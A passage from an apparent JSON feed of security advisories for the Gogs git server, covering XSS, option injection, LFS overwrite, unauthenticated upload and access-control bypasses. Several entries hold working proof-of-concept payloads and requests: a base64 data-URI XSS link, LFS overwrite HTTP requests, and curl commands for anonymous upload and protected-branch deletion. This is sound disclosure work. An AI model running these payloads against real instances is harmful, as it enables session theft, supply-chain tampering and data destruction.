0.13.3"}],"purl":"pkg:go/gogs.io%2Fgogs"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS14OXA1LXc0NWMtN2ZmY84ABTPR/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS12Z3ZmLW00ZnctOTM4as4ABTPQ","url":"https://github.com/advisories/GHSA-vgvf-m4fw-938j","title":"Gogs: Stored XSS in branch and wiki views through author and committer names","description":"### Summary\n\nStored XSS is still possible through unsafe template rendering that mixes user input with `safe()` plus permissive sanitizer handling of data URLs.\n\n### Details\n\n`safe()` still turns off escaping:\n- internal/template/template.go\n- `func safe(raw string) template.HTML { return template.HTML(raw) }`\n\nBranch pages still render committer names using `safe()`:\n- templates/repo/branches/overview.tmpl\n- templates/repo/branches/all.tmpl\n- templates/repo/wiki/view.tmpl\n\nThe locale still injects a raw second argument: conf/locale/locale_en-US.ini (`branches.updated_by = updated %[1]s by %[2]s`)\n\n### Impact\n\nAn attacker who can inject commit metadata such as author/committer name can trigger script execution on affected pages, leading to session abuse, CSRF token theft, or unauthorized actions.\n\n### Recommended Fix\n\n- Untrusted arguments should be escaped before being used in translations.\n- Data URLs should be limited or blocked in the sanitizer.\n\n### Remediation\nA fix is available at https://github.com/gogs/gogs/releases/tag/v0.14.2.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-03-05T19:48:33.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":6.9,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N","references":["https://github.com/gogs/gogs/security/advisories/GHSA-vgvf-m4fw-938j","https://github.com/gogs/gogs/pull/8176","https://github.com/gogs/gogs/commit/ac21150a53bef3a3061f4da787ab193a8d68ecfc","https://github.com/gogs/gogs/releases/tag/v0.14.2","https://nvd.nist.gov/vuln/detail/CVE-2026-26195","https://github.com/advisories/GHSA-vgvf-m4fw-938j"],"source_kind":"github","identifiers":["GHSA-vgvf-m4fw-938j","CVE-2026-26195"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-03-05T20:00:08.846Z","updated_at":"2026-08-14T00:05:31.846Z","epss_percentage":0.00189,"epss_percentile":0.0861,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS12Z3ZmLW00ZnctOTM4as4ABTPQ","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS12Z3ZmLW00ZnctOTM4as4ABTPQ","packages":[{"ecosystem":"go","package_name":"gogs.io/gogs","versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003c= 0.13.3"}],"purl":"pkg:go/gogs.io%2Fgogs"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS12Z3ZmLW00ZnctOTM4as4ABTPQ/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS12OXZtLXIyNGgtNnJxbc4ABTPP","url":"https://github.com/advisories/GHSA-v9vm-r24h-6rqm","title":"Gogs: Release tag option injection in release deletion","description":"### Summary\n\nThere is a security issue in Gogs where deleting a release can fail if a user-controlled tag name is passed to Git without the right separator, allowing Git option injection and therefore interfering with the process.\n\n### Affected Component\n\n  - internal/database/release.go\n    `process.ExecDir(..., \"git\", \"tag\", \"-d\", rel.TagName)`\n\n### Details\n\n  `rel.TagName` is used as a CLI argument to `git tag -d` without `--` or `--end-of-options`.\n  If the tag name begins with `-`, Git parses it as a flag.\n\n  The prior mitigation is incomplete. There is path sanitization in place during creation:\n\n  - internal/database/release.go\n    `r.TagName = strings.TrimLeft(r.TagName, \"-\")`\n\n  But it only covers one creation path and does not reliably protect tag deletions, such as tags added through `git push` or ref updates.\n\n**Exploit Conditions**\n1. An attacker can add a tag name that starts with a dash into the repository.\n2. A user with permission to delete releases triggers it through the web UI or API.\n\n### Recommended Fix\n\n1. Add end-of-options in release deletion:\n      - `git tag -d -- \u003ctagName\u003e`\n2. It is better to use the safe git-module deletion helper since it handles options properly.\n3. All Git commands should be audited for user input, ensuring that the end-of-options separator is always used.\n\n### Impact\n  - Option injection into `git tag -d`\n  - Tag/release deletion can fail or behave unexpectedly\n  - Operational denial of service in release cleanup workflows\n  - Potential release metadata inconsistency","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-03-05T19:29:44.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.8,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:H/SC:N/SI:N/SA:N","references":["https://github.com/gogs/gogs/security/advisories/GHSA-v9vm-r24h-6rqm","https://github.com/gogs/gogs/pull/8175","https://github.com/gogs/gogs/commit/a000f0c7a632ada40e6829abdeea525db4c0fc2d","https://github.com/gogs/gogs/releases/tag/v0.14.2","https://nvd.nist.gov/vuln/detail/CVE-2026-26194","https://github.com/advisories/GHSA-v9vm-r24h-6rqm"],"source_kind":"github","identifiers":["GHSA-v9vm-r24h-6rqm","CVE-2026-26194"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-03-05T20:00:08.846Z","updated_at":"2026-08-28T13:03:46.125Z","epss_percentage":0.00504,"epss_percentile":0.40782,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS12OXZtLXIyNGgtNnJxbc4ABTPP","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS12OXZtLXIyNGgtNnJxbc4ABTPP","packages":[{"ecosystem":"go","package_name":"gogs.io/gogs","versions":[{"first_patched_version":"0.14.2","vulnerable_version_range":"\u003c= 0.14.1"}],"purl":"pkg:go/gogs.io%2Fgogs"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS12OXZtLXIyNGgtNnJxbc4ABTPP/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS14cmNyLWdtZjUtMnI4as4ABTPO","url":"https://github.com/advisories/GHSA-xrcr-gmf5-2r8j","title":"Gogs: Stored XSS via data URI in issue comments","description":"### Summary\nA Stored Cross-site Scripting (XSS) vulnerability exists in the comment and issue description functionality. The application's HTML sanitizer explicitly allows `data:` URI schemes, enabling authenticated users to inject arbitrary JavaScript execution via malicious links.\n\n### Details\nThe vulnerability is located in `internal/markup/sanitizer.go`. The application uses the `bluemonday` HTML sanitizer but explicitly weakens the security policy by allowing the `data` URL scheme:\n\n```go\n// internal/markup/sanitizer.go\nfunc NewSanitizer() {\n    sanitizer.init.Do(func() {\n        // ...\n        // Data URLs\n        sanitizer.policy.AllowURLSchemes(\"data\")\n        // ...\n    })\n}\n```\n\nWhile the Markdown renderer rewrites relative links (mitigating standard Markdown `[link](data:...)` attacks), Gogs supports **Raw HTML** input. Raw HTML anchor tags bypass the Markdown parser's link rewriting and are processed directly by the sanitizer. Since the sanitizer is configured to allow `data:` URIs, payloads like `\u003ca href=\"data:text/html...\"\u003e` are rendered as-is.\n\n### PoC\n1.  Create a file named `exploit.md` in a repository.\n2.  Add the following content (Raw HTML):\n    ```html\n    \u003ca href=\"data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4=\"\u003eClick me for XSS\u003c/a\u003e\n    ```\n3.  Commit and push the file.\n4.  Navigate to the file in the Gogs web interface.\n5.  Click the \"Click me for XSS\" link.\n6.  **Result:** An alert box with \"XSS\" appears, executing the JavaScript payload.\n\n### Impact\nThis is a **Stored XSS** vulnerability. Any user who views the malicious comment and clicks the link will execute the attacker-supplied JavaScript in their browser context. This allows attackers to:\n*   Steal authentication cookies and session tokens.\n*   Perform arbitrary actions on behalf of the victim (e.g., modifying repositories, adding collaborators).\n*   Redirect users to malicious sites.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-03-05T19:26:02.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.7,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N","references":["https://github.com/gogs/gogs/security/advisories/GHSA-xrcr-gmf5-2r8j","https://github.com/gogs/gogs/pull/8174","https://github.com/gogs/gogs/commit/441c64d7bd8893b2f4e48660a8be3a7472e14291","https://github.com/gogs/gogs/releases/tag/v0.14.2","https://nvd.nist.gov/vuln/detail/CVE-2026-26022","https://github.com/advisories/GHSA-xrcr-gmf5-2r8j"],"source_kind":"github","identifiers":["GHSA-xrcr-gmf5-2r8j","CVE-2026-26022"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-03-05T20:00:08.846Z","updated_at":"2026-08-14T00:05:31.847Z","epss_percentage":0.00306,"epss_percentile":0.2251,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS14cmNyLWdtZjUtMnI4as4ABTPO","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS14cmNyLWdtZjUtMnI4as4ABTPO","packages":[{"ecosystem":"go","package_name":"gogs.io/gogs","versions":[{"first_patched_version":"0.14.2","vulnerable_version_range":"\u003c= 0.14.1"}],"purl":"pkg:go/gogs.io%2Fgogs"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS14cmNyLWdtZjUtMnI4as4ABTPO/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1jajR2LTQzN2otanE0Y84ABTPN","url":"https://github.com/advisories/GHSA-cj4v-437j-jq4c","title":"Gogs: Cross-repository LFS object overwrite via missing content hash verification","description":"### Summary\nOverwritable LFS object across different repos leads to supply-chain attack, all LFS objects are vulnerable to be maliciously overwritten by malicious attackers.\n\n### Details\nGogs store all LFS objects in the same place, no isolation between different repositories. (repo id not concatenated to storage path) https://github.com/gogs/gogs/blob/7a2dffa95ac64f31c8322cb50d32694b05610144/internal/lfsutil/storage.go#L52-L58\n\nGogs does not verify uploaded LFS file content against its claimed SHA-256, meaning attackers can manipulate the uploaded file like injecting backdoor. https://github.com/gogs/gogs/blob/7a2dffa95ac64f31c8322cb50d32694b05610144/internal/lfsutil/storage.go#L79-L89\n\nHere's the comment that trust client to retry upload allowing them to overwrite. However, this assumption does not hold in the case of a malicious client.  https://github.com/gogs/gogs/blob/7a2dffa95ac64f31c8322cb50d32694b05610144/internal/route/lfs/basic.go#L111-L113\n\n### PoC\n\n```\n# ./gogs -v\nGogs version 0.13.0\n```\n\n#### 1. User (admin1) upload a LFS object into their repository `admin1/testlfs.git` normally\n\n```\nPOST http://172.29.121.170/admin1/testlfs.git/info/lfs/objects/batch\nUser-Agent: git-lfs/3.0.2 (GitHub; linux amd64; go 1.17.2)\nAccept-Encoding: gzip, deflate, br\nAccept: application/vnd.git-lfs+json\nConnection: keep-alive\nContent-Type: application/vnd.git-lfs+json\nAuthorization: Basic YWRtaW4xOjg2ZjgxMmNkNDBiODY1YmIzZGQ1NTgyNDI2OTE2M2FmNDM3ZGZjZWI=\nContent-Length: 168\n\n{\"operation\": \"upload\", \"objects\": [{\"oid\": \"5f8c5042d51400e9e2e9bed01353edacf72edc88340038145229cd494b5fe08a\", \"size\": 1048576}], \"ref\": {\"name\": \"refs/heads/master\"}}\n\nresponse: \u003cResponse [200]\u003e\nConnection: close\nContent-Length: 438\nContent-Type: application/vnd.git-lfs+json\nDate: Thu, 28 Nov 2024 13:57:47 GMT\nSet-Cookie: lang=en-US; Path=/; Max-Age=2147483647\n\n{'objects': [{'actions': {'upload': {'header': {'Content-Type': 'application/octet-stream'},\n                                     'href': 'http://172.29.121.170:3000/admin1/testlfs.git/info/lfs/objects/basic/5f8c5042d51400e9e2e9bed01353edacf72edc88340038145229cd494b5fe08a'},\n                          'verify': {'href': 'http://172.29.121.170:3000/admin1/testlfs.git/info/lfs/objects/basic/verify'}},\n              'oid': '5f8c5042d51400e9e2e9bed01353edacf72edc88340038145229cd494b5fe08a',\n              'size': 1048576}],\n 'transfer': 'basic'}\n\n[STEP3] file_upload PUT http://172.29.121.170:3000/admin1/testlfs.git/info/lfs/objects/basic/5f8c5042d51400e9e2e9bed01353edacf72edc88340038145229cd494b5fe08a\nheaders: {'Content-Type': 'application/octet-stream', 'Accept': 'application/vnd.git-lfs+json', 'Authorization': 'Basic YWRtaW4xOjg2ZjgxMmNkNDBiODY1YmIzZGQ1NTgyNDI2OTE2M2FmNDM3ZGZjZWI='}\nresponse:  \u003cResponse [200]\u003e\n[verify POST] http://172.29.121.170:3000/admin1/testlfs.git/info/lfs/objects/basic/verify\nPOST http://172.29.121.170:3000/admin1/testlfs.git/info/lfs/objects/basic/verify\nUser-Agent: git-lfs/3.0.2 (GitHub; linux amd64; go 1.17.2)\nAccept-Encoding: gzip, deflate, br\nAccept: application/vnd.git-lfs+json\nConnection: keep-alive\nContent-Type: application/vnd.git-lfs+json\nAuthorization: Basic YWRtaW4xOjg2ZjgxMmNkNDBiODY1YmIzZGQ1NTgyNDI2OTE2M2FmNDM3ZGZjZWI=\nCookie: lang=en-US\nContent-Length: 92\n\n{\"oid\": \"5f8c5042d51400e9e2e9bed01353edacf72edc88340038145229cd494b5fe08a\", \"size\": 1048576}\n\nresponse: \u003cResponse [200]\u003e\nConnection: close\nContent-Length: 0\nDate: Thu, 28 Nov 2024 13:57:47 GMT\n```\n\nIn this step, upload a LFS object `5f8c5042d51400e9e2e9bed01353edacf72edc88340038145229cd494b5fe08a`\n\n#### 2. Attacker `user2` overwrite this file by uploading manipulated content to their repo `user2/public.git`\n\n```\nPUT http://172.29.121.170:3000/user2/public.git/info/lfs/objects/basic/5f8c5042d51400e9e2e9bed01353edacf72edc88340038145229cd494b5fe08a\nContent-Type: application/octet-stream\nAccept: application/vnd.git-lfs+json\nAuthorization: Basic dXNlcjI6NTRmZGU5ZmI3YjdmOTQ0MmM3MzY4ODhlMWIyNjZmMWE4MzAyMzE5NQ==\n\nresponse:  \u003cResponse [200]\u003e\n```\n\n#### 3. Verify the content has been overwritten:\n\n```\n# curl http://172.29.121.170:3000/admin1/testlfs.git/info/lfs/objects/basic/5f8c5042d51400e9e2e9bed01353edacf72edc88340038145229cd494b5fe08a -H \"Authorization: Basic YWRtaW4xOjg2ZjgxMmNkNDBiODY1YmIzZGQ1NTgyNDI2OTE2M2FmNDM3ZGZjZWI=\" -i\nHTTP/1.1 200 OK\nContent-Length: 1048576\nConnection: keep-alive\nContent-Type: application/octet-stream\nDate: Thu, 28 Nov 2024 14:01:53 GMT\nKeep-Alive: timeout=4\nProxy-Connection: keep-alive\nSet-Cookie: lang=en-US; Path=/; Max-Age=2147483647\n\ncurl: (18) transfer closed with 1048563 bytes remaining to read\n2222 replaced\n```\n\n### Impact\nAll LFS objects hosted on Gogs can be maliciously overwritten. Supply-chain attack is possible, and when user download LFS object from webpage, there's no warning at all. \n\n### Fix Suggestion\n\nUploaded LFS objects must be verified to ensure their content matches the claimed SHA-256 hash, to prevent the upload of tampered files.\n\nFix example: https://code.rhodecode.com/rhodecode-vcsserver/changeset/a680a60521bf02c29413d718ebca36c4f692ea4a?diffmode=unified","origin":"UNSPECIFIED","severity":"CRITICAL","published_at":"2026-03-05T19:14:41.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":9.3,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:L","references":["https://github.com/gogs/gogs/security/advisories/GHSA-cj4v-437j-jq4c","https://github.com/gogs/gogs/pull/8166","https://github.com/gogs/gogs/commit/81ee8836445ac888d99da8b652be7d5cbc5c4d5c","https://github.com/gogs/gogs/releases/tag/v0.14.2","https://nvd.nist.gov/vuln/detail/CVE-2026-25921","https://github.com/advisories/GHSA-cj4v-437j-jq4c"],"source_kind":"github","identifiers":["GHSA-cj4v-437j-jq4c","CVE-2026-25921"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-03-05T20:00:08.846Z","updated_at":"2026-08-28T13:03:46.126Z","epss_percentage":0.00327,"epss_percentile":0.25009,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1jajR2LTQzN2otanE0Y84ABTPN","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1jajR2LTQzN2otanE0Y84ABTPN","packages":[{"ecosystem":"go","package_name":"gogs.io/gogs","versions":[{"first_patched_version":"0.14.2","vulnerable_version_range":"\u003c= 0.14.1"}],"purl":"pkg:go/gogs.io%2Fgogs"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1jajR2LTQzN2otanE0Y84ABTPN/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1mYzNoLTkycDgtaDM2Zs4ABSba","url":"https://github.com/advisories/GHSA-fc3h-92p8-h36f","title":"Unauthenticated File Upload in Gogs","description":"Security Advisory:Unauthenticated File Upload in Gogs\nVulnerability Type: Unauthenticated File Upload\nDate: Aug 5, 2025\nDiscoverer: OpenAI Security Research\n\n## Summary\nGogs exposes unauthenticated file upload endpoints by default. When the global RequireSigninView setting is disabled (default), any remote user can upload arbitrary files to the server via /releases/attachments and /issues/attachments. This enables the instance to be abused as a public file host, potentially leading to disk exhaustion, content hosting, or delivery of malware. CSRF tokens do not mitigate this attack due to same-origin cookie issuance.\n\n## Affected Versions\n\n- Software: [Gogs](https://github.com/gogs/gogs/tree/main)\n- Confirmed Version(s): 28f83626d4ed0aa7b89493be2ea8b79ca038331e\n- Likely Affected: All versions since 2020-04-05 with unauthenticated attachments endpoints\n- Introduced Commit: 07818d5fa\n\n## Vulnerability Details\nThe web.go router exposes the following endpoints under the ignSignIn route group:\n\n### Vulnerable Code Snippet\n```\nm.Post(\"/issues/attachments\", repo.UploadIssueAttachment)\nm.Post(\"/releases/attachments\", repo.UploadReleaseAttachment)\n```\nThese endpoints are accessible by unauthenticated users if the configuration variable RequireSigninView is false (default). This allows arbitrary file uploads to data/attachments, returning a UUID in response.\n\nWhile CSRF protection is enabled, attackers can obtain a valid token anonymously from the site and use it in the upload request without authentication.\n## Description\nAnonymous file upload using only default configuration and a CSRF token obtained from the homepage.\n## POC\n```\n# Run Gogs docker \ndocker start gogs\n\n# Software will be run on http://localhost:10880/. Finish the setup with local Sqlite database\n\n# Get CSRF cookie into a jar\ncurl -sS -c cookies.txt http://localhost:10880/ -o /dev/null\n\n# Extract the _csrf value from the jar\nCSRF=\"$(awk '$6==\"_csrf\"{print $7}' cookies.txt | tail -n1)\"\n\n# Upload the file, sending cookie jar + header\ncurl -sS \\\n  -b cookies.txt -c cookies.txt \\\n  -H \"X-CSRF-Token: $CSRF\" \\\n  -H \"Referer: http://localhost:10880/\" \\\n  -F \"file=@image.png\" \\\n  http://localhost:10880/issues/attachments\n\n =\u003e {\"uuid\":\"\u003cUUID\u003e\"}\n```\nThe attachment will be available at: http://localhost:10880/attachments/\u003cuuid\u003e\n\n## Impact\n**Unrestricted File Upload:** Attackers can store arbitrary content on the server.\n**Denial-of-Service:** Repeated uploads can exhaust disk space.\n**Malware Hosting:** Gogs may inadvertently serve attacker-hosted payloads under its domain.\n\n## Realistic Exploitation Scenarios\n\n- Spammers or malicious actors use the Gogs instance to host phishing payloads or malware.\n- Attackers fill up disk with repeated uploads.\n- Attackers use hosted Gogs instances as public file dumps (e.g., for P2P, exfiltration)\n\n## Potential Impact\nThis unauthenticated upload vector effectively turns any Gogs instance into a file hosting platform open to the public. This is especially dangerous for production or Internet-exposed installations. The combination of no login requirement, wildcard MIME support, and unrestricted access to attachments enables both resource abuse and potential malware distribution.\n\n## Timeline\n\n- August 2025: Discovered via GPT5\n- August 2025: Reproduced and confirmed via PoC and sanitizer\n- Aug 6, 2025 - Sent to Gogs via https://github.com/gogs/gogs/security/advisories/new","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-02-17T18:44:07.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":6.9,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N","references":["https://github.com/gogs/gogs/security/advisories/GHSA-fc3h-92p8-h36f","https://github.com/gogs/gogs/pull/8128","https://github.com/gogs/gogs/commit/628216d5889fcb838c471f4754f09b935d9cd9f3","https://github.com/gogs/gogs/releases/tag/v0.14.1","https://nvd.nist.gov/vuln/detail/CVE-2026-25242","https://github.com/advisories/GHSA-fc3h-92p8-h36f"],"source_kind":"github","identifiers":["GHSA-fc3h-92p8-h36f","CVE-2026-25242"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-02-17T19:00:08.542Z","updated_at":"2026-08-15T20:05:57.875Z","epss_percentage":0.00618,"epss_percentile":0.46509,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1mYzNoLTkycDgtaDM2Zs4ABSba","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1mYzNoLTkycDgtaDM2Zs4ABSba","packages":[{"ecosystem":"go","package_name":"gogs.io/gogs","versions":[{"first_patched_version":"0.14.1","vulnerable_version_range":"\u003c 0.14.1"}],"purl":"pkg:go/gogs.io%2Fgogs"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1mYzNoLTkycDgtaDM2Zs4ABSba/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS0yYzZ2LThyM3YtZ2g2cM4ABSbZ","url":"https://github.com/advisories/GHSA-2c6v-8r3v-gh6p","title":"Gogs has a Protected Branch Deletion Bypass in Web Interface","description":"## Summary\n\nAn access control bypass vulnerability in Gogs web interface allows any repository collaborator with Write permissions to delete protected branches (including the default branch) by sending a direct POST request, completely bypassing the branch protection mechanism. This vulnerability enables privilege escalation from Write to Admin level, allowing low-privilege users to perform dangerous operations that should be restricted to administrators only.\n\nAlthough Git Hook layer correctly prevents protected branch deletion via SSH push, the web interface deletion operation does not trigger Git Hooks, resulting in complete bypass of protection mechanisms.\n\n## Details\n\n### Affected Component\n\n- **File**: `internal/route/repo/branch.go`\n- **Function**: `DeleteBranchPost` (lines 110-155)\n- **Route Configuration**: `internal/cmd/web.go:589`\n  ```go\n  m.Post(\"/delete/*\", reqSignIn, reqRepoWriter, repo.DeleteBranchPost)\n  ```\n\n### Root Cause\n\nThe `DeleteBranchPost` function performs the following checks when deleting a branch:\n1. ✅ User authentication (`reqSignIn`)\n2. ✅ Write permission check (`reqRepoWriter`)\n3. ✅ Branch existence verification\n4. ✅ CommitID matching (optional parameter)\n5. ❌ **Missing protected branch check**\n6. ❌ **Missing default branch check**\n\nWhile the UI layer (`internal/route/repo/issue.go:646-658`) correctly checks protected branch status and hides the delete button, attackers can directly construct POST requests to bypass UI restrictions.\n\n### Vulnerable Code\n\n**Vulnerable implementation** (`internal/route/repo/branch.go:110-155`):\n\n```110:155:internal/route/repo/branch.go\nfunc DeleteBranchPost(c *context.Context) {\n\tbranchName := c.Params(\"*\")\n\tcommitID := c.Query(\"commit\")\n\n\tdefer func() {\n\t\tredirectTo := c.Query(\"redirect_to\")\n\t\tif !tool.IsSameSiteURLPath(redirectTo) {\n\t\t\tredirectTo = c.Repo.RepoLink\n\t\t}\n\t\tc.Redirect(redirectTo)\n\t}()\n\n\tif !c.Repo.GitRepo.HasBranch(branchName) {\n\t\treturn\n\t}\n\tif len(commitID) \u003e 0 {\n\t\tbranchCommitID, err := c.Repo.GitRepo.BranchCommitID(branchName)\n\t\tif err != nil {\n\t\t\tlog.Error(\"Failed to get commit ID of branch %q: %v\", branchName, err)\n\t\t\treturn\n\t\t}\n\n\t\tif branchCommitID != commitID {\n\t\t\tc.Flash.Error(c.Tr(\"repo.pulls.delete_branch_has_new_commits\"))\n\t\t\treturn\n\t\t}\n\t}\n\n\t// 🔴 Vulnerability: Missing protected branch check here\n\t// Should add check like:\n\t// protectBranch, err := database.GetProtectBranchOfRepoByName(c.Repo.Repository.ID, branchName)\n\t// if protectBranch != nil \u0026\u0026 protectBranch.Protected { ... }\n\n\tif err := c.Repo.GitRepo.DeleteBranch(branchName, git.DeleteBranchOptions{\n\t\tForce: true,\n\t}); err != nil {\n\t\tlog.Error(\"Failed to delete branch %q: %v\", branchName, err)\n\t\treturn\n\t}\n\n\tif err := database.PrepareWebhooks(c.Repo.Repository, database.HookEventTypeDelete, \u0026api.DeletePayload{\n\t\tRef:        branchName,\n\t\tRefType:    \"branch\",\n\t\tPusherType: api.PUSHER_TYPE_USER,\n\t\tRepo:       c.Repo.Repository.APIFormatLegacy(nil),\n\t\tSender:     c.User.APIFormat(),\n\t}); err != nil {\n\t\tlog.Error(\"Failed to prepare webhooks for %q: %v\", database.HookEventTypeDelete, err)\n\t\treturn\n\t}\n}\n```\n\n**Correct implementation in Git Hook** (`internal/cmd/hook.go:122-125`):\n\n```go\n// check and deletion\nif newCommitID == git.EmptyID {\n    fail(fmt.Sprintf(\"Branch '%s' is protected from deletion\", branchName), \"\")\n}\n```\n\n**Correct UI layer check** (`internal/route/repo/issue.go:646-658`):\n\n```go\nprotectBranch, err := database.GetProtectBranchOfRepoByName(pull.BaseRepoID, pull.HeadBranch)\nif err != nil {\n\tif !database.IsErrBranchNotExist(err) {\n\t\tc.Error(err, \"get protect branch of repository by name\")\n\t\treturn\n\t}\n} else {\n\tbranchProtected = protectBranch.Protected\n}\n\nc.Data[\"IsPullBranchDeletable\"] = pull.BaseRepoID == pull.HeadRepoID \u0026\u0026\n\tc.Repo.IsWriter() \u0026\u0026 c.Repo.GitRepo.HasBranch(pull.HeadBranch) \u0026\u0026\n\t!branchProtected  // UI layer has check, but backend doesn't\n```\n## PoC\n\n### Prerequisites\n\n1. Have Write permissions to the target repository (collaborator or team member)\n2. Target repository has protected branches configured (e.g., main, master, develop)\n3. Access to Gogs web interface\n\n#### Send Malicious POST Request\n```bash\n# Directly send DELETE request bypassing UI protection\ncurl -X POST \\\n  -b cookies.txt \\\n  -H \"Content-Type: application/x-www-form-urlencoded\" \\\n  -d \"_csrf=YOUR_CSRF_TOKEN\" \\\n  \"https://gogs.example.com/username/repo/branches/delete/main\"\n```\n\u003cimg width=\"1218\" height=\"518\" alt=\"image\" src=\"https://github.com/user-attachments/assets/745da7c3-6139-408c-9747-ccbe9ea8548f\" /\u003e\n\n## Impact\n- **Bypass branch protection mechanism**: The core function of protected branches is to prevent deletion, and this vulnerability completely undermines this mechanism\n- **Delete default branch**: Can cause repository to become inaccessible (git clone/pull failures)\n- **Bypass code review**: After deleting protected branch, can push new branch bypassing Pull Request requirements\n- **Privilege escalation**: Writer permission users can perform operations that should only be allowed for Admins","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-02-17T18:43:00.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.1,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","references":["https://github.com/gogs/gogs/security/advisories/GHSA-2c6v-8r3v-gh6p","https://github.com/gogs/gogs/pull/8124","https://github.com/gogs/gogs/commit/7b7e38c88007a7c482dbf31efff896185fd9b79c","https://github.com/gogs/gogs/releases/tag/v0.14.1","https://nvd.nist.gov/vuln/detail/CVE-2026-25232","https://github.com/advisories/GHSA-2c6v-8r3v-gh6p"],"source_kind":"github","identifiers":["GHSA-2c6v-8r3v-gh6p","CVE-2026-25232"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-02-17T19:00:08.542Z","updated_at":"2026-09-03T07:04:14.937Z","epss_percentage":0.00436,"epss_percentile":0.36514,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0yYzZ2LThyM3YtZ2g2cM4ABSbZ","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS0yYzZ2LThyM3YtZ2g2cM4ABSbZ","packages":[{"ecosystem":"go","package_name":"gogs.io/gogs","versions":[{"first_patched_version":"0.14.1","vulnerable_version_range":"\u003c 0.14.1"}],"purl":"pkg:go/gogs.io%2Fgogs"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0yYzZ2LThyM3YtZ2g2cM4ABSbZ/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1jdjIyLTcycHgtZjRnaM4ABSbY","url":"https://github.com/advisories/GHSA-cv22-72px-f4gh","title":"Gogs has an Authorization Bypass Allows Cross-Repository Label Modification in Gogs","description":"### **Summary**\nA broken access control vulnerability in Gogs allows authenticated users with write access to any repository to modify labels belonging to other repositories. The `UpdateLabel` function in the Web UI (`internal/route/repo/issue.go`) fails to verify that the label being modified belongs to the repository specified in the URL path, enabling cross-repository label tampering attacks.\n\n### **Details**\nThe vulnerability exists in the Web UI's label update endpoint `POST /:username/:reponame/labels/edit`. The handler function `UpdateLabel` uses an incorrect database query function that bypasses repository ownership validation:\n\n**Vulnerable Code** (`internal/route/repo/issue.go:1040-1054`):\n\n```plain\nfunc UpdateLabel(c *context.Context, f form.CreateLabel) {\n    l, err := database.GetLabelByID(f.ID)  // ❌ No repository validation\n    if err != nil {\n        c.NotFoundOrError(err, \"get label by ID\")\n        return\n    }\n\n    // ❌ Missing validation: l.RepoID != c.Repo.Repository.ID\n    l.Name = f.Title\n    l.Color = f.Color\n    if err := database.UpdateLabel(l); err != nil {\n        c.Error(err, \"update label\")\n        return\n    }\n    c.RawRedirect(c.Repo.MakeURL(\"labels\"))\n}\n```\n\n**Root Cause**:\n\n1. The function calls `database.GetLabelByID(f.ID)` which internally passes `repoID=0` to the ORM layer\n2. According to code comments in `internal/database/issue_label.go:147-166`, passing `repoID=0` causes the ORM to ignore repository restrictions\n3. No validation checks whether `l.RepoID == c.Repo.Repository.ID` before updating\n4. The middleware `reqRepoWriter()` only validates write access to the repository in the URL path, not the label's actual 